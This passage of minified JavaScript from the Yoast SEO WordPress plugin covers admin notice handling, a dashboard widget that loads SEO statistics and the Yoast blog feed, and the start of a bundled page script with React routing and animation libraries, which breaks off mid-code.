i(t){t.is(":hidden")||(t.outerWidth()>t.parent().outerWidth()?(t.data("scrollHint").addClass("yoast-has-scroll"),t.data("scrollContainer").addClass("yoast-has-scroll")):(t.data("scrollHint").removeClass("yoast-has-scroll"),t.data("scrollContainer").removeClass("yoast-has-scroll")))}function l(){window.wpseoScrollableTables=t(".yoast-table-scrollable"),window.wpseoScrollableTables.length&&window.wpseoScrollableTables.each((function(){var o=t(this);if(!o.data("scrollContainer")){var a=t("<div />",{class:"yoast-table-scrollable__hintwrapper",html:"<span class='yoast-table-scrollable__hint' aria-hidden='true' />"}).insertBefore(o),e=t("<div />",{class:"yoast-table-scrollable__container",html:"<div class='yoast-table-scrollable__inner' />"}).insertBefore(o);a.find(".yoast-table-scrollable__hint").text(wpseoAdminGlobalL10n.scrollable_table_hint),o.data("scrollContainer",e),o.data("scrollHint",a),o.appendTo(e.find(".yoast-table-scrollable__inner")),i(o)}}))}a()(document).ready((function(){a()(".yoast-dismissible").on("click",".yoast-notice-dismiss",(function(){var t=a()(this).parent();return a().post(ajaxurl,{action:t.attr("id").replace(/-/g,"_"),_wpnonce:t.data("nonce"),data:t.data("json")}),a().post(ajaxurl,{action:"yoast_dismiss_notification",notification:t.attr("id"),nonce:t.data("nonce"),data:t.data("json")}),t.fadeTo(100,0,(function(){t.slideUp(100,(function(){t.remove()}))})),!1})),a()(".yoast-help-button").on("click",(function(){var t=a()(this),o=a()("#"+t.attr("aria-controls")),e=o.is(":visible");a()(o).slideToggle(200,(function(){t.attr("aria-expanded",!e)}))})),a()("button#robotsmessage-dismiss-button").on("click",(function(){o("search_engines_discouraged_notice","robotsmessage",a()(this).data("nonce")).then((()=>{window.location.href.includes("page=wpseo_dashboard")&&window.location.reload()}))}))})),window.wpseoSetIgnore=o,window.wpseoDismissLink=function(t){return a()('<a href="'+t+'" type="button" class="notice-dismiss"><span class="screen-reader-text">Dismiss this notice.</span></a>')},t(window).on("wp-window-resized orientationchange",(function(){window.wpseoScrollableTables&&window.wpseoScrollableTables.length&&window.wpseoScrollableTables.each((function(){i(t(this))}))})),t(window).on({"Yoast:YoastTabsMounted":function(){setTimeout((function(){l()}),100)},"Yoast:YoastTabsSelected":function(){setTimeout((function(){l()}),100)}}),t(document).ready((function(){t(".yoast-issue-added").on("mouseenter mouseleave",(function(t){t.stopPropagation(),e()})).fadeIn(),t("#wp-admin-bar-root-default > li").on("mouseenter.yoastalertpopup mouseleave.yoastalertpopup",e),setTimeout(e,3e3),n(),function(){const t=a()(".wpseo-js-premium-indicator"),o=t.find("svg");if(t.hasClass("wpseo-premium-indicator--no")){const a=o.find("path"),e=t.css("backgroundColor");a.css("fill",e)}o.css("display","block"),t.css({backgroundColor:"transparent",width:"20px",height:"20px"})}(),l(),function(){const t=a()(".yoast-issue-counter .yoast-issues-count").first(),o=a()("#toplevel_page_wpseo_dashboard .plugin-count");if(t.text()===o.first().text())return;const e=a()("#toplevel_page_wpseo_dashboard .update-plugins"),s=a()(".yoast-issue-counter .screen-reader-text").first(),n=a()("#toplevel_page_wpseo_dashboard .update-plugins .screen-reader-text");if(t.length)return o.text(t.text()),e.removeClass().addClass("update-plugins count-"+t.text()),void n.text(s.text());o.text("0"),e.removeClass().addClass("update-plugins count-0"),n.remove()}()}))}(a())})();wordpress-seo/js/dist/dashboard-widget.js000064400000004025147510273070014514 0ustar00(()=>{"use strict";const e=window.React,t=window.wp.element,s=window.yoast.componentsNew,o=window.yoast.styleGuide,i=window.yoast.analysisReport,a=window.yoast.helpers;class r extends t.Component{constructor(){super(),this.state={statistics:null,feed:null,isDataFetched:!1}}componentDidMount(){const e=jQuery("#wpseo-dashboard-overview-hide");e.is(":checked")&&this.fetchData(),e.on("click",(()=>{this.fetchData()}))}fetchData(){this.state.isDataFetched||(this.getStatistics(),this.getFeed(),this.setState({isDataFetched:!0}))}static getColorFromScore(e){return o.colors[`$color_${e}`]||o.colors.$color_grey}getStatistics(){wpseoApi.get("statistics",(e=>{const t={};e&&e.seo_scores&&(t.seoScores=e.seo_scores.map((e=>({value:parseInt(e.count,10),color:r.getColorFromScore(e.seo_rank),html:`<a href="${e.link}">${e.label}</a>`}))),t.header=jQuery(`<div>${e.header}</div>`).text(),this.setState({statistics:t}))}))}getFeed(){(0,a.getPostFeed)("https://yoast.com/feed/widget/?wp_version="+wpseoDashboardWidgetL10n.wp_version+"&php_version="+wpseoDashboardWidgetL10n.php_version,2).then((e=>{e.items=e.items.map((e=>(e.description=jQuery(`<div>${e.description}</div>`).text(),e.description=e.description.replace(`The post ${e.title} appeared first on Yoast.`,"").trim(),e))),this.setState({feed:e})})).catch((e=>console.log(e)))}getSeoAssessment(){return null===this.state.statistics?null:(0,e.createElement)(i.SiteSEOReport,{key:"yoast-seo-posts-assessment",seoAssessmentText:this.state.statistics.header,seoAssessmentItems:this.state.statistics.seoScores})}getYoastFeed(){return null===this.state.feed?null:(0,e.createElement)(s.ArticleList,{className:"wordpress-feed",key:"yoast-seo-blog-feed",title:wpseoDashboardWidgetL10n.feed_header,feed:this.state.feed,footerLinkText:wpseoDashboardWidgetL10n.feed_footer})}render(){const t=[this.getSeoAssessment(),this.getYoastFeed()].filter((e=>null!==e));return 0===t.length?null:(0,e.createElement)("div",null,t)}}const n=document.getElementById("yoast-seo-dashboard-widget");n&&(0,t.render)((0,e.createElement)(r,null),n)})();wordpress-seo/js/dist/general-page.js000064400001134205147510273070013640 0ustar00(()=>{var e={4184:(e,t)=>{var r;!function(){"use strict";var n={}.hasOwnProperty;function a(){for(var e=[],t=0;t<arguments.length;t++){var r=arguments[t];if(r){var s=typeof r;if("string"===s||"number"===s)e.push(r);else if(Array.isArray(r)&&r.length){var o=a.apply(null,r);o&&e.push(o)}else if("object"===s)for(var i in r)n.call(r,i)&&r[i]&&e.push(i)}}return e.join(" ")}e.exports?(a.default=a,e.exports=a):void 0===(r=function(){return a}.apply(t,[]))||(e.exports=r)}()},8133:(e,t,r)=>{"use strict";var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},a=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},s=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),o=c(r(9196)),i=c(r(5890)),l=c(r(4184));function c(e){return e&&e.__esModule?e:{default:e}}function u(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var d={animating:"rah-animating",animatingUp:"rah-animating--up",animatingDown:"rah-animating--down",animatingToHeightZero:"rah-animating--to-height-zero",animatingToHeightAuto:"rah-animating--to-height-auto",animatingToHeightSpecific:"rah-animating--to-height-specific",static:"rah-static",staticHeightZero:"rah-static--height-zero",staticHeightAuto:"rah-static--height-auto",staticHeightSpecific:"rah-static--height-specific"},p=["animateOpacity","animationStateClasses","applyInlineTransitions","children","contentClassName","delay","duration","easing","height","onAnimationEnd","onAnimationStart"];function m(e){for(var t=arguments.length,r=Array(t>1?t-1:0),n=1;n<t;n++)r[n-1]=arguments[n];if(!r.length)return e;for(var a={},s=Object.keys(e),o=0;o<s.length;o++){var i=s[o];-1===r.indexOf(i)&&(a[i]=e[i])}return a}function f(e){e.forEach((function(e){return cancelAnimationFrame(e)}))}function y(e){return!isNaN(parseFloat(e))&&isFinite(e)}function h(e){return"string"==typeof e&&e.search("%")===e.length-1&&y(e.substr(0,e.length-1))}function g(e,t){e&&"function"==typeof e&&e(t)}var v=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));r.animationFrameIDs=[];var n="auto",s="visible";y(e.height)?(n=e.height<0||"0"===e.height?0:e.height,s="hidden"):h(e.height)&&(n="0%"===e.height?0:e.height,s="hidden"),r.animationStateClasses=a({},d,e.animationStateClasses);var o=r.getStaticStateClasses(n);return r.state={animationStateClasses:o,height:n,overflow:s,shouldUseTransitions:!1},r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),s(t,[{key:"componentDidMount",value:function(){var e=this.state.height;this.contentElement&&this.contentElement.style&&this.hideContent(e)}},{key:"componentDidUpdate",value:function(e,t){var r,n,a=this,s=this.props,o=s.delay,i=s.duration,c=s.height,d=s.onAnimationEnd,p=s.onAnimationStart;if(this.contentElement&&c!==e.height){var m;this.showContent(t.height),this.contentElement.style.overflow="hidden";var v=this.contentElement.offsetHeight;this.contentElement.style.overflow="";var b=i+o,w=null,E={height:null,overflow:"hidden"},x="auto"===t.height;y(c)?(w=c<0||"0"===c?0:c,E.height=w):h(c)?(w="0%"===c?0:c,E.height=w):(w=v,E.height="auto",E.overflow=null),x&&(E.height=w,w=v);var S=(0,l.default)((u(m={},this.animationStateClasses.animating,!0),u(m,this.animationStateClasses.animatingUp,"auto"===e.height||c<e.height),u(m,this.animationStateClasses.animatingDown,"auto"===c||c>e.height),u(m,this.animationStateClasses.animatingToHeightZero,0===E.height),u(m,this.animationStateClasses.animatingToHeightAuto,"auto"===E.height),u(m,this.animationStateClasses.animatingToHeightSpecific,E.height>0),m)),_=this.getStaticStateClasses(E.height);this.setState({animationStateClasses:S,height:w,overflow:"hidden",shouldUseTransitions:!x}),clearTimeout(this.timeoutID),clearTimeout(this.animationClassesTimeoutID),x?(E.shouldUseTransitions=!0,f(this.animationFrameIDs),this.animationFrameIDs=(r=function(){a.setState(E),g(p,{newHeight:E.height})},(n=[])[0]=requestAnimationFrame((function(){n[1]=requestAnimationFrame((function(){r()}))})),n),this.animationClassesTimeoutID=setTimeout((function(){a.setState({animationStateClasses:_,shouldUseTransitions:!1}),a.hideContent(E.height),g(d,{newHeight:E.height})}),b)):(g(p,{newHeight:w}),this.timeoutID=setTimeout((function(){E.animationStateClasses=_,E.shouldUseTransitions=!1,a.setState(E),"auto"!==c&&a.hideContent(w),g(d,{newHeight:w})}),b))}}},{key:"componentWillUnmount",value:function(){f(this.animationFrameIDs),clearTimeout(this.timeoutID),clearTimeout(this.animationClassesTimeoutID),this.timeoutID=null,this.animationClassesTimeoutID=null,this.animationStateClasses=null}},{key:"showContent",value:function(e){0===e&&(this.contentElement.style.display="")}},{key:"hideContent",value:function(e){0===e&&(this.contentElement.style.display="none")}},{key:"getStaticStateClasses",value:function(e){var t;return(0,l.default)((u(t={},this.animationStateClasses.static,!0),u(t,this.animationStateClasses.staticHeightZero,0===e),u(t,this.animationStateClasses.staticHeightSpecific,e>0),u(t,this.animationStateClasses.staticHeightAuto,"auto"===e),t))}},{key:"render",value:function(){var e,t=this,r=this.props,n=r.animateOpacity,s=r.applyInlineTransitions,i=r.children,c=r.className,d=r.contentClassName,f=r.delay,y=r.duration,h=r.easing,g=r.id,v=r.style,b=this.state,w=b.height,E=b.overflow,x=b.animationStateClasses,S=b.shouldUseTransitions,_=a({},v,{height:w,overflow:E||v.overflow});S&&s&&(_.transition="height "+y+"ms "+h+" "+f+"ms",v.transition&&(_.transition=v.transition+", "+_.transition),_.WebkitTransition=_.transition);var k={};n&&(k.transition="opacity "+y+"ms "+h+" "+f+"ms",k.WebkitTransition=k.transition,0===w&&(k.opacity=0));var R=(0,l.default)((u(e={},x,!0),u(e,c,c),e)),C=void 0!==this.props["aria-hidden"]?this.props["aria-hidden"]:0===w;return o.default.createElement("div",a({},m.apply(void 0,[this.props].concat(p)),{"aria-hidden":C,className:R,id:g,style:_}),o.default.createElement("div",{className:d,style:k,ref:function(e){return t.contentElement=e}},i))}}]),t}(o.default.Component);v.propTypes={"aria-hidden":i.default.bool,animateOpacity:i.default.bool,animationStateClasses:i.default.object,applyInlineTransitions:i.default.bool,children:i.default.any.isRequired,className:i.default.string,contentClassName:i.default.string,delay:i.default.number,duration:i.default.number,easing:i.default.string,height:function(e,t,r){var a=e[t];return"number"==typeof a&&a>=0||h(a)||"auto"===a?null:new TypeError('value "'+a+'" of type "'+(void 0===a?"undefined":n(a))+'" is invalid type for '+t+" in "+r+'. It needs to be a positive number, string "auto" or percentage string (e.g. "15%").')},id:i.default.string,onAnimationEnd:i.default.func,onAnimationStart:i.default.func,style:i.default.object},v.defaultProps={animateOpacity:!1,animationStateClasses:d,applyInlineTransitions:!0,duration:250,delay:0,easing:"ease",style:{}},t.Z=v},591:e=>{for(var t=[],r=0;r<256;++r)t[r]=(r+256).toString(16).substr(1);e.exports=function(e,r){var n=r||0,a=t;return[a[e[n++]],a[e[n++]],a[e[n++]],a[e[n++]],"-",a[e[n++]],a[e[n++]],"-",a[e[n++]],a[e[n++]],"-",a[e[n++]],a[e[n++]],"-",a[e[n++]],a[e[n++]],a[e[n++]],a[e[n++]],a[e[n++]],a[e[n++]]].join("")}},9176:e=>{var t="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)||"undefined"!=typeof msCrypto&&"function"==typeof window.msCrypto.getRandomValues&&msCrypto.getRandomValues.bind(msCrypto);if(t){var r=new Uint8Array(16);e.exports=function(){return t(r),r}}else{var n=new Array(16);e.exports=function(){for(var e,t=0;t<16;t++)0==(3&t)&&(e=4294967296*Math.random()),n[t]=e>>>((3&t)<<3)&255;return n}}},3409:(e,t,r)=>{var n=r(9176),a=r(591);e.exports=function(e,t,r){var s=t&&r||0;"string"==typeof e&&(t="binary"===e?new Array(16):null,e=null);var o=(e=e||{}).random||(e.rng||n)();if(o[6]=15&o[6]|64,o[8]=63&o[8]|128,t)for(var i=0;i<16;++i)t[s+i]=o[i];return t||a(o)}},4530:(e,t)=>{var r;!function(){"use strict";var n={}.hasOwnProperty;function a(){for(var e=[],t=0;t<arguments.length;t++){var r=arguments[t];if(r){var s=typeof r;if("string"===s||"number"===s)e.push(r);else if(Array.isArray(r)){if(r.length){var o=a.apply(null,r);o&&e.push(o)}}else if("object"===s){if(r.toString!==Object.prototype.toString&&!r.toString.toString().includes("[native code]")){e.push(r.toString());continue}for(var i in r)n.call(r,i)&&r[i]&&e.push(i)}}}return e.join(" ")}e.exports?(a.default=a,e.exports=a):void 0===(r=function(){return a}.apply(t,[]))||(e.exports=r)}()},9196:e=>{"use strict";e.exports=window.React},5890:e=>{"use strict";e.exports=window.yoast.propTypes}},t={};function r(n){var a=t[n];if(void 0!==a)return a.exports;var s=t[n]={exports:{}};return e[n](s,s.exports,r),s.exports}r.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return r.d(t,{a:t}),t},r.d=(e,t)=>{for(var n in t)r.o(t,n)&&!r.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},r.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{"use strict";var e={};r.r(e),r.d(e,{DISMISS_ALERT:()=>Lp});var t=r(9196),n=r.n(t);const a=window.wp.components,s=window.wp.data,o=window.wp.domReady;var i=r.n(o);const l=window.wp.element,c=window.yoast.uiLibrary,u=window.lodash,d=window.ReactDOM;function p(){return p=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},p.apply(this,arguments)}var m;!function(e){e.Pop="POP",e.Push="PUSH",e.Replace="REPLACE"}(m||(m={}));const f="popstate";function y(e,t){if(!1===e||null==e)throw new Error(t)}function h(e,t){if(!e){"undefined"!=typeof console&&console.warn(t);try{throw new Error(t)}catch(e){}}}function g(e,t){return{usr:e.state,key:e.key,idx:t}}function v(e,t,r,n){return void 0===r&&(r=null),p({pathname:"string"==typeof e?e:e.pathname,search:"",hash:""},"string"==typeof t?w(t):t,{state:r,key:t&&t.key||n||Math.random().toString(36).substr(2,8)})}function b(e){let{pathname:t="/",search:r="",hash:n=""}=e;return r&&"?"!==r&&(t+="?"===r.charAt(0)?r:"?"+r),n&&"#"!==n&&(t+="#"===n.charAt(0)?n:"#"+n),t}function w(e){let t={};if(e){let r=e.indexOf("#");r>=0&&(t.hash=e.substr(r),e=e.substr(0,r));let n=e.indexOf("?");n>=0&&(t.search=e.substr(n),e=e.substr(0,n)),e&&(t.pathname=e)}return t}function E(e,t,r,n){void 0===n&&(n={});let{window:a=document.defaultView,v5Compat:s=!1}=n,o=a.history,i=m.Pop,l=null,c=u();function u(){return(o.state||{idx:null}).idx}function d(){i=m.Pop;let e=u(),t=null==e?null:e-c;c=e,l&&l({action:i,location:w.location,delta:t})}function h(e){let t="null"!==a.location.origin?a.location.origin:a.location.href,r="string"==typeof e?e:b(e);return r=r.replace(/ $/,"%20"),y(t,"No window.location.(origin|href) available to create URL for href: "+r),new URL(r,t)}null==c&&(c=0,o.replaceState(p({},o.state,{idx:c}),""));let w={get action(){return i},get location(){return e(a,o)},listen(e){if(l)throw new Error("A history only accepts one active listener");return a.addEventListener(f,d),l=e,()=>{a.removeEventListener(f,d),l=null}},createHref:e=>t(a,e),createURL:h,encodeLocation(e){let t=h(e);return{pathname:t.pathname,search:t.search,hash:t.hash}},push:function(e,t){i=m.Push;let n=v(w.location,e,t);r&&r(n,e),c=u()+1;let d=g(n,c),p=w.createHref(n);try{o.pushState(d,"",p)}catch(e){if(e instanceof DOMException&&"DataCloneError"===e.name)throw e;a.location.assign(p)}s&&l&&l({action:i,location:w.location,delta:1})},replace:function(e,t){i=m.Replace;let n=v(w.location,e,t);r&&r(n,e),c=u();let a=g(n,c),d=w.createHref(n);o.replaceState(a,"",d),s&&l&&l({action:i,location:w.location,delta:0})},go:e=>o.go(e)};return w}var x;!function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(x||(x={}));const S=new Set(["lazy","caseSensitive","path","id","index","children"]);function _(e,t,r,n){return void 0===r&&(r=[]),void 0===n&&(n={}),e.map(((e,a)=>{let s=[...r,String(a)],o="string"==typeof e.id?e.id:s.join("-");if(y(!0!==e.index||!e.children,"Cannot specify children on an index route"),y(!n[o],'Found a route id collision on id "'+o+"\".  Route id's must be globally unique within Data Router usages"),function(e){return!0===e.index}(e)){let r=p({},e,t(e),{id:o});return n[o]=r,r}{let r=p({},e,t(e),{id:o,children:void 0});return n[o]=r,e.children&&(r.children=_(e.children,t,s,n)),r}}))}function k(e,t,r){return void 0===r&&(r="/"),R(e,t,r,!1)}function R(e,t,r,n){let a=U(("string"==typeof t?w(t):t).pathname||"/",r);if(null==a)return null;let s=C(e);!function(e){e.sort(((e,t)=>e.score!==t.score?t.score-e.score:function(e,t){let r=e.length===t.length&&e.slice(0,-1).every(((e,r)=>e===t[r]));return r?e[e.length-1]-t[t.length-1]:0}(e.routesMeta.map((e=>e.childrenIndex)),t.routesMeta.map((e=>e.childrenIndex)))))}(s);let o=null;for(let e=0;null==o&&e<s.length;++e){let t=z(a);o=F(s[e],t,n)}return o}function C(e,t,r,n){void 0===t&&(t=[]),void 0===r&&(r=[]),void 0===n&&(n="");let a=(e,a,s)=>{let o={relativePath:void 0===s?e.path||"":s,caseSensitive:!0===e.caseSensitive,childrenIndex:a,route:e};o.relativePath.startsWith("/")&&(y(o.relativePath.startsWith(n),'Absolute route path "'+o.relativePath+'" nested under path "'+n+'" is not valid. An absolute child route path must start with the combined path of all its parent routes.'),o.relativePath=o.relativePath.slice(n.length));let i=V([n,o.relativePath]),l=r.concat(o);e.children&&e.children.length>0&&(y(!0!==e.index,'Index routes must not have child routes. Please remove all child routes from route path "'+i+'".'),C(e.children,t,l,i)),(null!=e.path||e.index)&&t.push({path:i,score:D(i,e.index),routesMeta:l})};return e.forEach(((e,t)=>{var r;if(""!==e.path&&null!=(r=e.path)&&r.includes("?"))for(let r of P(e.path))a(e,t,r);else a(e,t)})),t}function P(e){let t=e.split("/");if(0===t.length)return[];let[r,...n]=t,a=r.endsWith("?"),s=r.replace(/\?$/,"");if(0===n.length)return a?[s,""]:[s];let o=P(n.join("/")),i=[];return i.push(...o.map((e=>""===e?s:[s,e].join("/")))),a&&i.push(...o),i.map((t=>e.startsWith("/")&&""===t?"/":t))}const N=/^:[\w-]+$/,O=3,T=2,L=1,I=10,M=-2,A=e=>"*"===e;function D(e,t){let r=e.split("/"),n=r.length;return r.some(A)&&(n+=M),t&&(n+=T),r.filter((e=>!A(e))).reduce(((e,t)=>e+(N.test(t)?O:""===t?L:I)),n)}function F(e,t,r){void 0===r&&(r=!1);let{routesMeta:n}=e,a={},s="/",o=[];for(let e=0;e<n.length;++e){let i=n[e],l=e===n.length-1,c="/"===s?t:t.slice(s.length)||"/",u=j({path:i.relativePath,caseSensitive:i.caseSensitive,end:l},c),d=i.route;if(!u&&l&&r&&!n[n.length-1].route.index&&(u=j({path:i.relativePath,caseSensitive:i.caseSensitive,end:!1},c)),!u)return null;Object.assign(a,u.params),o.push({params:a,pathname:V([s,u.pathname]),pathnameBase:Z(V([s,u.pathnameBase])),route:d}),"/"!==u.pathnameBase&&(s=V([s,u.pathnameBase]))}return o}function j(e,t){"string"==typeof e&&(e={path:e,caseSensitive:!1,end:!0});let[r,n]=function(e,t,r){void 0===t&&(t=!1),void 0===r&&(r=!0),h("*"===e||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were "'+e.replace(/\*$/,"/*")+'" because the `*` character must always follow a `/` in the pattern. To get rid of this warning, please change the route path to "'+e.replace(/\*$/,"/*")+'".');let n=[],a="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,((e,t,r)=>(n.push({paramName:t,isOptional:null!=r}),r?"/?([^\\/]+)?":"/([^\\/]+)")));return e.endsWith("*")?(n.push({paramName:"*"}),a+="*"===e||"/*"===e?"(.*)$":"(?:\\/(.+)|\\/*)$"):r?a+="\\/*$":""!==e&&"/"!==e&&(a+="(?:(?=\\/|$))"),[new RegExp(a,t?void 0:"i"),n]}(e.path,e.caseSensitive,e.end),a=t.match(r);if(!a)return null;let s=a[0],o=s.replace(/(.)\/+$/,"$1"),i=a.slice(1);return{params:n.reduce(((e,t,r)=>{let{paramName:n,isOptional:a}=t;if("*"===n){let e=i[r]||"";o=s.slice(0,s.length-e.length).replace(/(.)\/+$/,"$1")}const l=i[r];return e[n]=a&&!l?void 0:(l||"").replace(/%2F/g,"/"),e}),{}),pathname:s,pathnameBase:o,pattern:e}}function z(e){try{return e.split("/").map((e=>decodeURIComponent(e).replace(/\//g,"%2F"))).join("/")}catch(t){return h(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent encoding ('+t+")."),e}}function U(e,t){if("/"===t)return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let r=t.endsWith("/")?t.length-1:t.length,n=e.charAt(r);return n&&"/"!==n?null:e.slice(r)||"/"}function $(e,t,r,n){return"Cannot include a '"+e+"' character in a manually specified `to."+t+"` field ["+JSON.stringify(n)+"].  Please separate it out to the `to."+r+'` field. Alternatively you may provide the full path as a string in <Link to="..."> and the router will parse it for you.'}function q(e){return e.filter(((e,t)=>0===t||e.route.path&&e.route.path.length>0))}function B(e,t){let r=q(e);return t?r.map(((e,t)=>t===r.length-1?e.pathname:e.pathnameBase)):r.map((e=>e.pathnameBase))}function H(e,t,r,n){let a;void 0===n&&(n=!1),"string"==typeof e?a=w(e):(a=p({},e),y(!a.pathname||!a.pathname.includes("?"),$("?","pathname","search",a)),y(!a.pathname||!a.pathname.includes("#"),$("#","pathname","hash",a)),y(!a.search||!a.search.includes("#"),$("#","search","hash",a)));let s,o=""===e||""===a.pathname,i=o?"/":a.pathname;if(null==i)s=r;else{let e=t.length-1;if(!n&&i.startsWith("..")){let t=i.split("/");for(;".."===t[0];)t.shift(),e-=1;a.pathname=t.join("/")}s=e>=0?t[e]:"/"}let l=function(e,t){void 0===t&&(t="/");let{pathname:r,search:n="",hash:a=""}="string"==typeof e?w(e):e,s=r?r.startsWith("/")?r:function(e,t){let r=t.replace(/\/+$/,"").split("/");return e.split("/").forEach((e=>{".."===e?r.length>1&&r.pop():"."!==e&&r.push(e)})),r.length>1?r.join("/"):"/"}(r,t):t;return{pathname:s,search:W(n),hash:G(a)}}(a,s),c=i&&"/"!==i&&i.endsWith("/"),u=(o||"."===i)&&r.endsWith("/");return l.pathname.endsWith("/")||!c&&!u||(l.pathname+="/"),l}const V=e=>e.join("/").replace(/\/\/+/g,"/"),Z=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),W=e=>e&&"?"!==e?e.startsWith("?")?e:"?"+e:"",G=e=>e&&"#"!==e?e.startsWith("#")?e:"#"+e:"";Error;class Y{constructor(e,t,r,n){void 0===n&&(n=!1),this.status=e,this.statusText=t||"",this.internal=n,r instanceof Error?(this.data=r.toString(),this.error=r):this.data=r}}function K(e){return null!=e&&"number"==typeof e.status&&"string"==typeof e.statusText&&"boolean"==typeof e.internal&&"data"in e}const J=["post","put","patch","delete"],Q=new Set(J),X=["get",...J],ee=new Set(X),te=new Set([301,302,303,307,308]),re=new Set([307,308]),ne={state:"idle",location:void 0,formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0},ae={state:"idle",data:void 0,formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0},se={state:"unblocked",proceed:void 0,reset:void 0,location:void 0},oe=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,ie=e=>({hasErrorBoundary:Boolean(e.hasErrorBoundary)}),le="remix-router-transitions";function ce(e){const t=e.window?e.window:"undefined"!=typeof window?window:void 0,r=void 0!==t&&void 0!==t.document&&void 0!==t.document.createElement,n=!r;let a;if(y(e.routes.length>0,"You must provide a non-empty routes array to createRouter"),e.mapRouteProperties)a=e.mapRouteProperties;else if(e.detectErrorBoundary){let t=e.detectErrorBoundary;a=e=>({hasErrorBoundary:t(e)})}else a=ie;let s,o,i,l={},c=_(e.routes,a,void 0,l),u=e.basename||"/",d=e.unstable_dataStrategy||ge,f=e.unstable_patchRoutesOnNavigation,g=p({v7_fetcherPersist:!1,v7_normalizeFormMethod:!1,v7_partialHydration:!1,v7_prependBasename:!1,v7_relativeSplatPath:!1,v7_skipActionErrorRevalidation:!1},e.future),b=null,w=new Set,E=1e3,C=new Set,P=null,N=null,O=null,T=null!=e.hydrationData,L=k(c,e.history.location,u),I=null;if(null==L&&!f){let t=Ne(404,{pathname:e.history.location.pathname}),{matches:r,route:n}=Pe(c);L=r,I={[n.id]:t}}if(L&&!e.hydrationData&&pt(L,c,e.history.location.pathname).active&&(L=null),L)if(L.some((e=>e.route.lazy)))o=!1;else if(L.some((e=>e.route.loader)))if(g.v7_partialHydration){let t=e.hydrationData?e.hydrationData.loaderData:null,r=e.hydrationData?e.hydrationData.errors:null,n=e=>!e.route.loader||("function"!=typeof e.route.loader||!0!==e.route.loader.hydrate)&&(t&&void 0!==t[e.route.id]||r&&void 0!==r[e.route.id]);if(r){let e=L.findIndex((e=>void 0!==r[e.route.id]));o=L.slice(0,e+1).every(n)}else o=L.every(n)}else o=null!=e.hydrationData;else o=!0;else if(o=!1,L=[],g.v7_partialHydration){let t=pt(null,c,e.history.location.pathname);t.active&&t.matches&&(L=t.matches)}let M,A,D={historyAction:e.history.action,location:e.history.location,matches:L,initialized:o,navigation:ne,restoreScrollPosition:null==e.hydrationData&&null,preventScrollReset:!1,revalidation:"idle",loaderData:e.hydrationData&&e.hydrationData.loaderData||{},actionData:e.hydrationData&&e.hydrationData.actionData||null,errors:e.hydrationData&&e.hydrationData.errors||I,fetchers:new Map,blockers:new Map},F=m.Pop,j=!1,z=!1,$=new Map,q=null,B=!1,H=!1,V=[],Z=new Set,W=new Map,G=0,Y=-1,J=new Map,Q=new Set,X=new Map,ee=new Map,te=new Set,ce=new Map,me=new Map,fe=new Map;function xe(e,t){void 0===t&&(t={}),D=p({},D,e);let r=[],n=[];g.v7_fetcherPersist&&D.fetchers.forEach(((e,t)=>{"idle"===e.state&&(te.has(t)?n.push(t):r.push(t))})),[...w].forEach((e=>e(D,{deletedFetchers:n,unstable_viewTransitionOpts:t.viewTransitionOpts,unstable_flushSync:!0===t.flushSync}))),g.v7_fetcherPersist&&(r.forEach((e=>D.fetchers.delete(e))),n.forEach((e=>Xe(e))))}function Se(t,r,n){var a,o;let i,{flushSync:l}=void 0===n?{}:n,u=null!=D.actionData&&null!=D.navigation.formMethod&&je(D.navigation.formMethod)&&"loading"===D.navigation.state&&!0!==(null==(a=t.state)?void 0:a._isRedirect);i=r.actionData?Object.keys(r.actionData).length>0?r.actionData:null:u?D.actionData:null;let d=r.loaderData?ke(D.loaderData,r.loaderData,r.matches||[],r.errors):D.loaderData,f=D.blockers;f.size>0&&(f=new Map(f),f.forEach(((e,t)=>f.set(t,se))));let y,h=!0===j||null!=D.navigation.formMethod&&je(D.navigation.formMethod)&&!0!==(null==(o=t.state)?void 0:o._isRedirect);if(s&&(c=s,s=void 